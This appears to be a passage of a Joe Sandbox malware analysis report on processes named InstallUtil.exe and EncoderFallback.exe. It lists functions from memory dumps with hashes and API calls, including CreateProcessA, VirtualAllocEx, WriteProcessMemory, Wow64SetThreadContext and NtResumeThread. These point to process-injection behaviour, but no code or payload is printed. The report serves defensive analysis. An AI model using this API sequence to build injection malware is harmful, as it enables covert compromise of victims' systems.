Instruction ID: 523c4cc06697e6bde2cb401c692e50b041fae5ae2722403d956ce1f29b93bc4a
Opcode Fuzzy Hash: 77fadd82fdc2d56cf39070efea1a70d2bd0433e89b8e3a9964b57efaebe0ac53
Instruction Fuzzy Hash: B111D376504240DFDB16CF10D5C4B16BF71FB94315F24C6A9EC090B25AC33AD85ACBA2

Function 00AAD03F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2753098880.0000000000AAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_aad000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42a98d763aa616cafc5cdf308aa0cc1e619621035a6359fb41dac703237424f2
Instruction ID: a8c54d79d1a0be1f5923eced0b3a4e3eaf28a6056edb1c1b0ce860a5c73c2178
Opcode Fuzzy Hash: 42a98d763aa616cafc5cdf308aa0cc1e619621035a6359fb41dac703237424f2
Instruction Fuzzy Hash: A9118B75504284DFCB15CF10D9C4B15BBA2FB89314F24C6ADE88A4B696C33AD84ACF62

Function 00B71448 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2753774248.0000000000B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e11e9996caa72fac02a7c6759244d15833fd5dd01ae49d4f7fc6d153282fc7e6
Instruction ID: e78ed6bcf765cfa724a610eca5794a0a2e622dc5a427151d951a1ecad14df7d3
Opcode Fuzzy Hash: e11e9996caa72fac02a7c6759244d15833fd5dd01ae49d4f7fc6d153282fc7e6
Instruction Fuzzy Hash: 45012D31E102159BCB21EFBD84511AD7BF5EF48314B2488BAD419EB341E635DD418BA5

Function 00B77E60 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2753774248.0000000000B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b9a6d2c0c10faa9ccd5d6f95e78104ac1c470805db7f7df581da1898467df30
Instruction ID: 27237e9b9b5b49a4dce9ad91bb9460697e183e0bfb00295f5fb8fc14bfba9c2e
Opcode Fuzzy Hash: 5b9a6d2c0c10faa9ccd5d6f95e78104ac1c470805db7f7df581da1898467df30
Instruction Fuzzy Hash: 72111838A44155CFC758DBB8E948A5D7BF2EF89315B2444D8E4068B7B5CF309D92CB41

Function 00B7A6B0 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2753774248.0000000000B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a75c5b7f1dd6229af9a0b4db9c79ef6c24e272c2ebca4333143cb88bef53fd0
Instruction ID: e201fe9f9bd269d48f1036ac33b18631e834e7c7608eceb320b5cb08dfe87979
Opcode Fuzzy Hash: 6a75c5b7f1dd6229af9a0b4db9c79ef6c24e272c2ebca4333143cb88bef53fd0
Instruction Fuzzy Hash: B301D231A002048BDB44EF65D94579EBBB5EF84301F64C264C90C5F29AE7709E05CBA1

Function 00B78F01 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2753774248.0000000000B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f34db3d313df0fecacf670083bbd91a873c5414427355d476f8e46fcbca9aa7a
Instruction ID: ebf9fb69937fe554c1565ef2ea1142db51218796a6c324209ec3eef9a2f3694f
Opcode Fuzzy Hash: f34db3d313df0fecacf670083bbd91a873c5414427355d476f8e46fcbca9aa7a
Instruction Fuzzy Hash: 120188305042CADFDB07EBB8F89169D7BB1EF82340F1045ECC4414B196EE716A06D782

Function 00B78F10 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2753774248.0000000000B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3f9a729b0dcfe7177273cdaec3fa6a81ea0175170c2a5dea8c6f6f4afc93b0f
Instruction ID: 6c36905ea4298880ae9dc39e20787a8bfd26ee2253c9933c883ffa2b47017124
Opcode Fuzzy Hash: a3f9a729b0dcfe7177273cdaec3fa6a81ea0175170c2a5dea8c6f6f4afc93b0f
Instruction Fuzzy Hash: CFF03C30A1024EDFDB06FBB8F89169DBBB2EB85340F5045A8C5049B254EE706E059B92

Function 00B77EE1 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2753774248.0000000000B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98b9e97b2a7c2b76746953ed3310fe735421b4f0c7bf1186913bee7e0fb1e3d7
Instruction ID: b66ce87d457690fa59723073062fd579c085be515971b073e2a9bb153a2b0285
Opcode Fuzzy Hash: 98b9e97b2a7c2b76746953ed3310fe735421b4f0c7bf1186913bee7e0fb1e3d7
Instruction Fuzzy Hash: 12C08029544144C5C75442D87C043DC3B64C781325F1004D5D11841C50477009F98691

Analysis Process: EncoderFallback.exePID: 6828, Parent PID: 2620COMMON

Execution Graph

Execution Coverage:	6.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	5.3%
Total number of Nodes:	171
Total number of Limit Nodes:	5

Executed Functions

Function 0123CEA0 Relevance: 2.2, Strings: 1, Instructions: 983
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Ehq", xrefs: 0123D291

Memory Dump Source

Source File: 00000006.00000002.2753371991.0000000001230000.00000040.00000800.00020000.00000000.sdmp, Offset: 01230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1230000_EncoderFallback.jbxd

Similarity

API ID:
String ID: Ehq"
API String ID: 0-672064728
Opcode ID: d4fe9540319ead33d86f870dde57455d7ebad4959734859a6e68ac5ad084a56f
Instruction ID: fcebac68044e91f586b9dc07e01e86f37e0dad5f4a0208e634b10fb61e0d6f57
Opcode Fuzzy Hash: d4fe9540319ead33d86f870dde57455d7ebad4959734859a6e68ac5ad084a56f
Instruction Fuzzy Hash: 5EA2A375A10228CFDB65CF69C984AD9BBB2FF89304F1581E9D509AB325DB319E81CF40

Function 05D35EA0 Relevance: 1.6, APIs: 1, Instructions: 65
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 05D35F31

Memory Dump Source

Source File: 00000006.00000002.2774786006.0000000005D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5d30000_EncoderFallback.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 5b23132e0923e245e19344d09d829322c5ad23ff56a236df80821882bd201507
Instruction ID: 7e0bbcc8936156e1f3f3dea6158ad88a39a44e79b71a212ee46357c87893dd0a
Opcode Fuzzy Hash: 5b23132e0923e245e19344d09d829322c5ad23ff56a236df80821882bd201507
Instruction Fuzzy Hash: D02102B5D01349DFDB10CFAAD980A9EFBF4BF48310F24842AE519A7240C7759910CBA5

Function 05D35EA8 Relevance: 1.6, APIs: 1, Instructions: 63
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 05D35F31

Memory Dump Source

Source File: 00000006.00000002.2774786006.0000000005D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5d30000_EncoderFallback.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 8fe7428641b6e8100eaba892824f58ff7bca38be38f001279f5f4771d54f5ffc
Instruction ID: aa5830f2d095ddf6965b8c3668ea7edc31b9b379026739556ac60e6849fe2e5b
Opcode Fuzzy Hash: 8fe7428641b6e8100eaba892824f58ff7bca38be38f001279f5f4771d54f5ffc
Instruction Fuzzy Hash: B621E3B1D013499FDB10DFAAD981ADEFBF5FF48310F20842AE519A7250C7799900CBA5

Function 05D36ED8 Relevance: 1.6, APIs: 1, Instructions: 56nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 05D36F4E

Memory Dump Source

Source File: 00000006.00000002.2774786006.0000000005D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5d30000_EncoderFallback.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: d73986f91fe08b037209cce553aad1cb996a53f93e636c0f1ef086e6d14fb74b
Instruction ID: 09327388ae859a039a847e91ce20c53cd793d1d1bb69ee6740a350d897c90ca8
Opcode Fuzzy Hash: d73986f91fe08b037209cce553aad1cb996a53f93e636c0f1ef086e6d14fb74b
Instruction Fuzzy Hash: 091147B0D043499FDB10DFAAC481B9EFBF4FF88214F14842AD519A7240C778A904CFA5

Function 05D36EE0 Relevance: 1.6, APIs: 1, Instructions: 54nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 05D36F4E

Memory Dump Source

Source File: 00000006.00000002.2774786006.0000000005D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5d30000_EncoderFallback.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 22034192c73a3c89fd9bd33096db715aaca6ac3d45dc0805f55df1a4dc522943
Instruction ID: a8fa65b03762aca0cc685daea3a4ca5685b163237e283ecba776bb5e7d43b1bf
Opcode Fuzzy Hash: 22034192c73a3c89fd9bd33096db715aaca6ac3d45dc0805f55df1a4dc522943
Instruction Fuzzy Hash: 3E1114B1D043499FDB10DFAAC485B9EFBF4BF88214F10842AD519A7240CB78A904CFA5

Function 0123E630 Relevance: .7, Instructions: 680COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2753371991.0000000001230000.00000040.00000800.00020000.00000000.sdmp, Offset: 01230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1230000_EncoderFallback.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbada1cc526269fef4eaa91b4b96f1d2dc182ee2702ef4f8fc269573cc7a570f
Instruction ID: 68f55b192e2e9b72a9c922638f07e2344dabc6e0799ff83ef4cecfd683cf2432
Opcode Fuzzy Hash: dbada1cc526269fef4eaa91b4b96f1d2dc182ee2702ef4f8fc269573cc7a570f
Instruction Fuzzy Hash: EC426974B10209CFDB15DF29C494A6A7BF6BFC9310B1284A9E606CB3A5DB31EC46CB51

Function 05D215B8 Relevance: .3, Instructions: 311COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2774733132.0000000005D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5d20000_EncoderFallback.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b50488c970f5d7800f0aa584f99d480f9a1518526f134c12d064ff58dd56ce63
Instruction ID: f65e8ab3a4c2305dfeaa260528d679ca2152d9e036447f4b80027019eaf03505
Opcode Fuzzy Hash: b50488c970f5d7800f0aa584f99d480f9a1518526f134c12d064ff58dd56ce63
Instruction Fuzzy Hash: 00E1F574E05228CFDB54DFA9DA84B9DBBF2FB49309F2090AAD049A7355DB305A85CF01

Function 05D23700 Relevance: 2.5, Strings: 2, Instructions: 38
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

/, xrefs: 05D23CC7
%, xrefs: 05D23763

Memory Dump Source

Source File: 00000006.00000002.2774733132.0000000005D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5d20000_EncoderFallback.jbxd

Similarity

API ID:
String ID: %$/
API String ID: 0-2617147878
Opcode ID: b48c4b5bf4ca9b77831b6b9d862f3524689c0f3a92cb67330fb1d6e3ef14e766
Instruction ID: 4e1e7bd973d6ecb3b977bdcb9359b389fdc334ace7291b98ce3e6a776e1bf7ee
Opcode Fuzzy Hash: b48c4b5bf4ca9b77831b6b9d862f3524689c0f3a92cb67330fb1d6e3ef14e766
Instruction Fuzzy Hash: F711C278E052698FCB61CF64DD84BEDBBB2BB49318F0484EAD809A7214C7315AC5CF00

Function 05D36505 Relevance: 1.7, APIs: 1, Instructions: 206
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 05D366EA

Memory Dump Source

Source File: 00000006.00000002.2774786006.0000000005D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5d30000_EncoderFallback.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: fd8f8a58ffac40393df75516baab4ee86e50de9b2031b74616661f770190998c
Instruction ID: a743a9ca0faddaff2b20bdedbeb101b6d0ffa34731df539eec35574e4bd79e14
Opcode Fuzzy Hash: fd8f8a58ffac40393df75516baab4ee86e50de9b2031b74616661f770190998c
Instruction Fuzzy Hash: 5B8116B1D10659AFDB10CFA9C9867EDBBF2BF48310F14852AE855A7284D7749881CB81

Function 05D36510 Relevance: 1.7, APIs: 1, Instructions: 201
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 05D366EA

Memory Dump Source

Source File: 00000006.00000002.2774786006.0000000005D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5d30000_EncoderFallback.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 85dd8bbb912c728ed8254aa1ecd785cd5c24e1e965d3ee21b52f0696830b8db3
Instruction ID: ac5bbdb134378ff7a170fed482701a8ef429a432504208e106260a5aa58e82be
Opcode Fuzzy Hash: 85dd8bbb912c728ed8254aa1ecd785cd5c24e1e965d3ee21b52f0696830b8db3
Instruction Fuzzy Hash: 318116B1D10759AFDB10CFA9C9867ADBBF2FF48310F14852AE855A7284D7749881CB81

Function 05D36D29 Relevance: 1.6, APIs: 1, Instructions: 71
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 05D36DC0

Memory Dump Source

Source File: 00000006.00000002.2774786006.0000000005D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5d30000_EncoderFallback.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 3e900f0c658ee745e7707da7aaa93a97d9474c59e759e1f4d7894f6ad81251dc
Instruction ID: 07e79d90837c5a9c66b56db66c07b3635ea6b34f5961d60db9ad60094477d8c9
Opcode Fuzzy Hash: 3e900f0c658ee745e7707da7aaa93a97d9474c59e759e1f4d7894f6ad81251dc
Instruction Fuzzy Hash: 97214471900359AFDB10DFAAC885BDEBBF5FF88310F14842AE919A7340C7789954CBA5

Function 05D36D30 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 05D36DC0

Memory Dump Source

Source File: 00000006.00000002.2774786006.0000000005D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5d30000_EncoderFallback.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: a0922d53eda8de28fe838868323f0f609e9a436cce032526b7ef2cbf9522f93a
Instruction ID: 518545a65800edee7d33d7638f28d2f551f57923fe29b04329ffb70392e1ee94
Opcode Fuzzy Hash: a0922d53eda8de28fe838868323f0f609e9a436cce032526b7ef2cbf9522f93a
Instruction Fuzzy Hash: DE212471900359AFDB10DFAAC885BDEBBF5FF48310F10842AE919A7340C7789954CBA5

Function 05D36808 Relevance: 1.6, APIs: 1, Instructions: 66
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 05D3688E

Memory Dump Source

Source File: 00000006.00000002.2774786006.0000000005D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5d30000_EncoderFallback.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: e09c9892b89a1e6dff83e37f6214a6302df09a1322ae5d3e8aa5a96a4d3df6ad
Instruction ID: d0862cdc69c11f52208a7715025e00c4750aa8fcc7ba464ebc1d57a257828978
Opcode Fuzzy Hash: e09c9892b89a1e6dff83e37f6214a6302df09a1322ae5d3e8aa5a96a4d3df6ad
Instruction Fuzzy Hash: D22139719003099FDB10DFAAC4867EEBBF4AF48214F14842AD519A7240CB789545CFA5

Function 05D36810 Relevance: 1.6, APIs: 1, Instructions: 63
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 05D3688E

Memory Dump Source

Source File: 00000006.00000002.2774786006.0000000005D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5d30000_EncoderFallback.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: ab2ddda88b114b0ad09e3a8c36bd332b794ef7c4b43f9c9b5a97ed5eae91d3ed
Instruction ID: aa0f9cea6d0e0bdc560a59855599bf7a2686f5b55b3f714269cde9110ae674bd
Opcode Fuzzy Hash: ab2ddda88b114b0ad09e3a8c36bd332b794ef7c4b43f9c9b5a97ed5eae91d3ed
Instruction Fuzzy Hash: C2211571D003099FDB10DFAAC4857AEBBF4BF88314F14842AD519A7240DB78A945CFA5

Function 05D37118 Relevance: 1.6, APIs: 1, Instructions: 61
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 05D37194

Memory Dump Source

Source File: 00000006.00000002.2774786006.0000000005D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5d30000_EncoderFallback.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 0a54b34a03c571e48dad4799158151ed33c7dc2f18ec62f277787e67cf0e7c92
Instruction ID: 77677364f21cc541524999084b811fb43ad659a79a223573601dbf1a74bfc367
Opcode Fuzzy Hash: 0a54b34a03c571e48dad4799158151ed33c7dc2f18ec62f277787e67cf0e7c92
Instruction Fuzzy Hash: 442138719007499FDB10DFAAC841BEEBBF5FF88320F14842AD519A7240D7389945CFA5

Function 05D32108 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 05D3217F

Memory Dump Source

Source File: 00000006.00000002.2774786006.0000000005D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5d30000_EncoderFallback.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 6fc13fe96b3b2bd3dd40e7416806e64158188376f19a96e339b3f867f30605e0
Instruction ID: 0183d7334fede846c6bf7c338175525d2f90ba46188c97f8a767c0943ad21ce4
Opcode Fuzzy Hash: 6fc13fe96b3b2bd3dd40e7416806e64158188376f19a96e339b3f867f30605e0
Instruction Fuzzy Hash: 20118975D003499FDB20CFAAC845BEFBFF8AF88310F14841AD555A7240CB399944CBA5

Function 05D37120 Relevance: 1.6, APIs: 1, Instructions: 59
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 05D37194

Memory Dump Source

Source File: 00000006.00000002.2774786006.0000000005D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5d30000_EncoderFallback.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 8edf10bb79dd5c6ab5836a695a09b357fdcbc4503dac7ca26707b6d159b14811
Instruction ID: f98fa3d5d6ff5075a9ae46375378895e8bdeec64a3974f5544d872f60e7a5966
Opcode Fuzzy Hash: 8edf10bb79dd5c6ab5836a695a09b357fdcbc4503dac7ca26707b6d159b14811
Instruction Fuzzy Hash: 962115719007499FDB10DFAAC881BAEBBF4FF88320F14842AD519A7240D7789545CFA5

Function 05D36C28 Relevance: 1.6, APIs: 1, Instructions: 56
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 05D36C9E

Memory Dump Source

Source File: 00000006.00000002.2774786006.0000000005D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5d30000_EncoderFallback.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: b33453fd6655912fe66aff96552404be1cb2b80e54ca0f783d5cdc50a4b00c12
Instruction ID: 451860ba9d1346ed9d1c0703094d762e5bdde9c451115e51158438d1feaac379
Opcode Fuzzy Hash: b33453fd6655912fe66aff96552404be1cb2b80e54ca0f783d5cdc50a4b00c12
Instruction Fuzzy Hash: B7114472900349AFDB10DFAAC845BDEBBF5EF88320F14841AE519A7250C779A540CBA5

Function 05D32110 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

SleepEx.KERNEL32 ref: 05D3217F

Memory Dump Source

Source File: 00000006.00000002.2774786006.0000000005D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5d30000_EncoderFallback.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 1209f7f6cbee3e208e19873b8ba89a7ad239dfeb5942bb10c64dea8ce9c4d481
Instruction ID: a089431f5eed264f5b37c4afd56a7d31184780934df655bc3bf03556e74a8bb5
Opcode Fuzzy Hash: 1209f7f6cbee3e208e19873b8ba89a7ad239dfeb5942bb10c64dea8ce9c4d481
Instruction Fuzzy Hash: 6D115BB1D003499FDB10DFAAC8457EFFBF8AF88710F14841AD555A7240CB399944CBA5

Function 05D36C30 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 05D36C9E

Memory Dump Source

Source File: 00000006.00000002.2774786006.0000000005D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5d30000_EncoderFallback.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 02e90c80a1c5acba13026c7555a5d0cf83b250e3f119cdb95494b283cb35cd58
Instruction ID: 0b494d9545be167f6e4d0bc261a94315ab5347b18c8ad57067cb22f19bac1a40
Opcode Fuzzy Hash: 02e90c80a1c5acba13026c7555a5d0cf83b250e3f119cdb95494b283cb35cd58
Instruction Fuzzy Hash: FB1156719003499FDF10CFAAC845BDEBBF5EF88310F10841AE515A7250C7799500CBA5

Function 05D23023 Relevance: 1.3, Strings: 1, Instructions: 48COMMON

Download Yara Rule

Strings

(, xrefs: 05D23D14

Memory Dump Source

Source File: 00000006.00000002.2774733132.0000000005D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5d20000_EncoderFallback.jbxd

Similarity

API ID:
String ID: (
API String ID: 0-3887548279
Opcode ID: 9dd1c69a5c8ad4aeda0b4319236bc642d77f7db5d4e9d0911effb18c76f1e857
Instruction ID: eddc259fa290bc95fef09d5f8129f89681e5979e75a339585cf070515b5153d4
Opcode Fuzzy Hash: 9dd1c69a5c8ad4aeda0b4319236bc642d77f7db5d4e9d0911effb18c76f1e857
Instruction Fuzzy Hash: 7521D0B8E042288FDB61DF64C944BEDBBB2FB4D318F1481EAD549A7245CB319A95CF10

Function 073879B4 Relevance: 1.3, Strings: 1, Instructions: 35COMMON

Download Yara Rule

Strings

2, xrefs: 07387A08

Memory Dump Source

Source File: 00000006.00000002.2778438306.0000000007380000.00000040.00000800.00020000.00000000.sdmp, Offset: 07380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7380000_EncoderFallback.jbxd

Similarity

API ID:
String ID: 2
API String ID: 0-450215437
Opcode ID: 95c21ef337691cf9faeb46e2c1fa5242121cfd28fb8570dd32fa8c0ec784cab9
Instruction ID: db51caf2f9ab60027a3b6227c9a2f864285860a380c0b34cf4d632223b75c19f
Opcode Fuzzy Hash: 95c21ef337691cf9faeb46e2c1fa5242121cfd28fb8570dd32fa8c0ec784cab9
Instruction Fuzzy Hash: 1A019EB0905129CFEBA59F28D98979AB7B4FF45310F1050E6C418AB606DB314EC4CF92

Function 05D22E0A Relevance: 1.3, Strings: 1, Instructions: 30COMMON

Download Yara Rule

Strings

*, xrefs: 05D22E8F

Memory Dump Source

Source File: 00000006.00000002.2774733132.0000000005D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5d20000_EncoderFallback.jbxd

Similarity

API ID:
String ID: *
API String ID: 0-163128923
Opcode ID: 32aaa3e0659f558086bcf7935c46d2c5f465549c643f4fe6fb6edc55b7a07f21
Instruction ID: 0410a7e8cc8388f17154aa1bb8d71481da3a7c14a4d2ef9add1a097ee74c1ff0
Opcode Fuzzy Hash: 32aaa3e0659f558086bcf7935c46d2c5f465549c643f4fe6fb6edc55b7a07f21
Instruction Fuzzy Hash: 0301AAB4A04228DFDB64DF64CE91BDCBBB1AB59300F1080DAA949B7244CAB16E81CF40

Function 05D22F11 Relevance: 1.3, Strings: 1, Instructions: 28COMMON

Download Yara Rule

Strings

*, xrefs: 05D22E8F

Memory Dump Source

Source File: 00000006.00000002.2774733132.0000000005D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5d20000_EncoderFallback.jbxd

Similarity

API ID:
String ID: *
API String ID: 0-163128923
Opcode ID: 038fb875fb55b366baaac5467ea2f0ef450b02284c8a89cabac9fc64f0674f63
Instruction ID: a97b2fb62b739b809b0579a21db707901d1c6ec67ae3db6d208c625cab12a3fd
Opcode Fuzzy Hash: 038fb875fb55b366baaac5467ea2f0ef450b02284c8a89cabac9fc64f0674f63
Instruction Fuzzy Hash: 2C019D78A04228DFDB60CF54CD94BD8BBB1BB29308F14819AE54DA7244DBB15EC5CF40

Function 05D236E3 Relevance: 1.3, Strings: 1, Instructions: 19COMMON

Download Yara Rule

Strings

H, xrefs: 05D236F0

Memory Dump Source

Source File: 00000006.00000002.2774733132.0000000005D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5d20000_EncoderFallback.jbxd

Similarity

API ID:
String ID: H
API String ID: 0-2852464175
Opcode ID: 7162dafdd539c4fd031661844b4cb93e23ebaf993aa0964698d976a714080c3f
Instruction ID: 8a575b048dff9769f79b807e36254a1388f6bb8bb8b97e0b81302133840b5531
Opcode Fuzzy Hash: 7162dafdd539c4fd031661844b4cb93e23ebaf993aa0964698d976a714080c3f
Instruction Fuzzy Hash: 85F0C974904229CFCB64CF54CA84BADB7F6BB58308F0485DAD50DA7241D7759E85CF10

Function 05D2349F Relevance: 1.3, Strings: 1, Instructions: 13COMMON

Download Yara Rule

Strings

E, xrefs: 05D234D1

Memory Dump Source

Source File: 00000006.00000002.2774733132.0000000005D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D20000, based on PE: false

Joe Sandbox IDA Plugin

